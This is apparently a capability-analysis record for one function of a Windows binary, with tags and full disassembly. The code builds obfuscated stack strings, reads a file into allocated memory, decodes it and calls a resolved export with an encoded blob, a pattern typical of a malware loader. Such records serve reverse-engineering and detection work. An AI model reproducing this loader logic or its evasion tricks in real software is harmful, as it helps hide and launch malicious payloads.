Function at 0x40d926
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
push dword [ebp + 8]
mov dword [ebp - 0x14], 0x3e8
call fcn.0040d63a
test eax, eax
pop ecx
je 0x40db67
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocStringLen
push 0x449f94
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40db67
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x53
push ecx
push eax
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x53
mov byte [ebp - 0x19], 0x53
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x53
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x38], 0x56
mov byte [ebp - 0x37], 0x49
mov byte [ebp - 0x36], 0x44
mov byte [ebp - 0x35], 0x3a
mov byte [ebp - 0x34], 0x32
mov byte [ebp - 0x33], 0x30
mov byte [ebp - 0x32], 0x31
mov byte [ebp - 0x31], 0x34
mov byte [ebp - 0x30], 0x2d
mov byte [ebp - 0x2f], 0x53
mov byte [ebp - 0x2e], 0x56
mov byte [ebp - 0x2d], 0x38
mov byte [ebp - 0x2c], bl
call fcn.0040d26e
pop ecx
mov dword [ebp - 0x10], eax
pop ecx
nop
nop
nop
nop
nop
call fcn.0040c4f0
push 1
call esi
push dword [ebp - 8]
call edi
mov eax, dword [ebp - 0x10]
cmp eax, ebx
je 0x40db67
lea ecx, [ebp - 0x38]
add eax, 6
push ecx
push eax
call fcn.0041e860
pop ecx
test eax, eax
pop ecx
jne 0x40db67
push ebx
push 0x80
push 3
push ebx
push ebx
push SysReAllocStringLen
push 0x449f94
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x40db67
push ebx
call esi
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov dword [ebp - 0xc], eax
call esi
nop
nop
nop
nop
nop
call fcn.0040c4f0
push 1
call esi
push ebx
call esi
push 4
push 0x3000
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov dword [ebp - 0x10], eax
call esi
nop
nop
nop
nop
nop
call fcn.0040c4f0
push 1
call esi
push ebx
call esi
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 8]
call edi
push ebx
call esi
nop
nop
nop
nop
nop
call fcn.0040c4f0
push 1
call esi
push ebx
call esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8cc
pop ecx
pop ecx
push ebx
call esi
nop
nop
nop
nop
nop
call fcn.0040c4f0
push 1
call esi
push ebx
call esi
push dword [ebp - 0x10]
call fcn.004153fc
cmp eax, ebx
pop ecx
mov dword [ebp - 0xc], eax
je 0x40db67
push ebx
call esi
push ebx
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x36
mov byte [ebp - 0x23], 0x30
mov byte [ebp - 0x22], 0x79
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], bl
call esi
mov byte [ebp - 0x48], 0x44
mov byte [ebp - 0x47], 0x6c
mov byte [ebp - 0x46], 0x6c
mov byte [ebp - 0x45], 0x46
mov byte [ebp - 0x44], 0x75
mov byte [ebp - 0x43], 0x55
mov byte [ebp - 0x42], 0x70
mov byte [ebp - 0x41], 0x67
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x72
mov byte [ebp - 0x3c], 0x73
mov byte [ebp - 0x3b], bl
nop
nop
nop
nop
nop
call fcn.0040c4f0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0xc]
call fcn.00415ad3
pop ecx
mov dword [ebp - 0x10], eax
pop ecx
push ebx
call esi
push ebx
call esi
cmp dword [ebp - 0x10], ebx
jne 0x40db8d
push 0x449f94
push str.t7Ozrn8_LS0tP3Dt7umwP3Avenu8fDy8_xrIm1x_I62t768__D17_QvMWztL6xwv25r8Tf
call fcn.0040cabc
pop ecx
test eax, eax
pop ecx
je 0x40db83
mov dword [ebp - 0x14], 0x14
push dword [ebp - 0x14]
call esi
jmp 0x40d93d
nop
nop
nop
nop
nop
call fcn.0040c4f0
lea eax, [ebp - 0x28]
push eax
push str.8PDsAe34AfDq7QHs6d_37uztPf49_ff8PDv99_t7_Ds3zq6346vr7enp6dL8Onv6u3u34quw7XDw_3xcPDu6zFxtmqrjIwqz_vsa8qrqwrMiqqrrExLrAvKrC36XBmKCMmrWLj8Gou8GkxK2mvJnHx62pwsCgmZyNq9_8j63Cuq3AxJnIw7yu_JOkyL6twq7Cuav_mLmwwcXIk9ixq7AsL66Aby3vNoqrysuqr_vKq8rrivsjfG4MnImoJCkjf3_Df79_v3_Df79_Hq6uv9QICqqqqAciv8O73Ab7CxALIr67w7vcBwK6v8siv9PyucCq8jCwfTt3_Hx_9_zAt_Hq6uv9QICu8GuAcDItcfAwQGwsQC8rD0_K7f_QP93_0D38erq6_1AgKsrrytAbC1wsG8AbCwAb7CxAL8rt8
call dword [ebp - 0x10]
nop
nop
nop
nop
nop
call fcn.0040c4f0
push dword [ebp - 0xc]
call fcn.00415ba5
add esp, 0xc
push ebx
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
leave
ret